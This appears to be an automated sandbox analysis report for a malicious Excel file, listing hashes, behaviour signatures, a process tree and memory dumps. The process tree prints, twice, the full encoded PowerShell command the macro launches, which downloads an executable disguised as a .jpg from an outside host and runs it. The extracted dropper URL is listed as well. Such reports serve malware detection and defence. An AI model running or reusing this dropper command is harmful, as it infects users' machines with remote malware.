Analysis

  • max time kernel
    47s
  • max time network
    33s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20-05-2024 08:17

General

  • Target

    b9cad09c0d55afa5d764b9c0c118e865091c115ee8bcb4ea52f14c8f63485541.xls

  • Size

    92KB

  • MD5

    088c41ef2a80c92b12bcc1f6a31503db

  • SHA1

    356529f99f1715b415cc4789f3037ccf8ba7140a

  • SHA256

    b9cad09c0d55afa5d764b9c0c118e865091c115ee8bcb4ea52f14c8f63485541

  • SHA512

    c226394f2814a342aca115f1d9fd2b47b2620636f4181e074ce54916667a24471b70560f90d0b09a809d3b5d78f4dcd94d31f7333cffbc4d0c10933d5a0f1e8b

  • SSDEEP

    1536:Ik3hOdsylKlgryzc4bNhZFGzE+cL2knAfiCaikW3ixhZFaRRGjx0BT0TR0SHx/Ua:Ik3hOdsylKlgryzc4bNhZFGzE+cL2knt

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://i.cubeupload.com/1MDiPJ.jpg

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\b9cad09c0d55afa5d764b9c0c118e865091c115ee8bcb4ea52f14c8f63485541.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1088
    • C:\Windows\SYSTEM32\cmd.exe
      cmd & /K CD C: & PowerShell -EncodedCommand dAByAHkAewAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvAGkALgBjAHUAYgBlAHUAcABsAG8AYQBkAC4AYwBvAG0ALwAxAE0ARABpAFAASgAuAGoAcABnACcALAAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFACsAJwBcAGsAZwByAGgAUwBnAGwASwBSAGsAZQBYAEsAcQBsAE4AQgAuAGUAeABlACcAKQA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AYwBvAG0AIABTAGgAZQBsAGwALgBBAHAAcABsAGkAYwBhAHQAaQBvAG4AKQAuAFMAaABlAGwAbABFAHgAZQBjAHUAdABlACgAJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQArACcAXABrAGcAcgBoAFMAZwBsAEsAUgBrAGUAWABLAHEAbABOAEIALgBlAHgAZQAnACkAOwB9AGMAYQB0AGMAaAAgAHsAfQA=
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:3132
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        PowerShell -EncodedCommand dAByAHkAewAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvAGkALgBjAHUAYgBlAHUAcABsAG8AYQBkAC4AYwBvAG0ALwAxAE0ARABpAFAASgAuAGoAcABnACcALAAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFACsAJwBcAGsAZwByAGgAUwBnAGwASwBSAGsAZQBYAEsAcQBsAE4AQgAuAGUAeABlACcAKQA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AYwBvAG0AIABTAGgAZQBsAGwALgBBAHAAcABsAGkAYwBhAHQAaQBvAG4AKQAuAFMAaABlAGwAbABFAHgAZQBjAHUAdABlACgAJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQArACcAXABrAGcAcgBoAFMAZwBsAEsAUgBrAGUAWABLAHEAbABOAEIALgBlAHgAZQAnACkAOwB9AGMAYQB0AGMAaAAgAHsAfQA=
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1172

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mv4c2fzq.3rm.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/1088-19-0x00007FF9F4710000-0x00007FF9F4905000-memory.dmp

    Filesize

    2.0MB

  • memory/1088-58-0x00007FF9F4710000-0x00007FF9F4905000-memory.dmp

    Filesize

    2.0MB

  • memory/1088-17-0x00007FF9B25F0000-0x00007FF9B2600000-memory.dmp

    Filesize

    64KB

  • memory/1088-1-0x00007FF9B4790000-0x00007FF9B47A0000-memory.dmp

    Filesize

    64KB

  • memory/1088-4-0x00007FF9B4790000-0x00007FF9B47A0000-memory.dmp

    Filesize

    64KB

  • memory/1088-8-0x00007FF9F4710000-0x00007FF9F4905000-memory.dmp

    Filesize

    2.0MB

  • memory/1088-7-0x00007FF9F4710000-0x00007FF9F4905000-memory.dmp

    Filesize

    2.0MB

  • memory/1088-6-0x00007FF9F4710000-0x00007FF9F4905000-memory.dmp

    Filesize

    2.0MB

  • memory/1088-11-0x00007FF9F4710000-0x00007FF9F4905000-memory.dmp

    Filesize

    2.0MB

  • memory/1088-13-0x00007FF9F4710000-0x00007FF9F4905000-memory.dmp

    Filesize

    2.0MB

  • memory/1088-15-0x00007FF9F4710000-0x00007FF9F4905000-memory.dmp

    Filesize

    2.0MB

  • memory/1088-16-0x00007FF9F4710000-0x00007FF9F4905000-memory.dmp

    Filesize

    2.0MB

  • memory/1088-2-0x00007FF9B4790000-0x00007FF9B47A0000-memory.dmp

    Filesize

    64KB

  • memory/1088-5-0x00007FF9F47AD000-0x00007FF9F47AE000-memory.dmp

    Filesize

    4KB

  • memory/1088-0-0x00007FF9B4790000-0x00007FF9B47A0000-memory.dmp

    Filesize

    64KB

  • memory/1088-14-0x00007FF9F4710000-0x00007FF9F4905000-memory.dmp

    Filesize

    2.0MB

  • memory/1088-12-0x00007FF9F4710000-0x00007FF9F4905000-memory.dmp

    Filesize

    2.0MB

  • memory/1088-10-0x00007FF9F4710000-0x00007FF9F4905000-memory.dmp

    Filesize

    2.0MB

  • memory/1088-9-0x00007FF9B25F0000-0x00007FF9B2600000-memory.dmp

    Filesize

    64KB

  • memory/1088-31-0x00007FF9F4710000-0x00007FF9F4905000-memory.dmp

    Filesize

    2.0MB

  • memory/1088-32-0x00007FF9F4710000-0x00007FF9F4905000-memory.dmp

    Filesize

    2.0MB

  • memory/1088-18-0x00007FF9F4710000-0x00007FF9F4905000-memory.dmp

    Filesize

    2.0MB

  • memory/1088-57-0x00007FF9F4710000-0x00007FF9F4905000-memory.dmp

    Filesize

    2.0MB

  • memory/1088-3-0x00007FF9B4790000-0x00007FF9B47A0000-memory.dmp

    Filesize

    64KB

  • memory/1172-51-0x00007FF9F4710000-0x00007FF9F4905000-memory.dmp

    Filesize

    2.0MB

  • memory/1172-36-0x0000026BE2CC0000-0x0000026BE2CE2000-memory.dmp

    Filesize

    136KB

  • memory/1172-35-0x00007FF9F4710000-0x00007FF9F4905000-memory.dmp

    Filesize

    2.0MB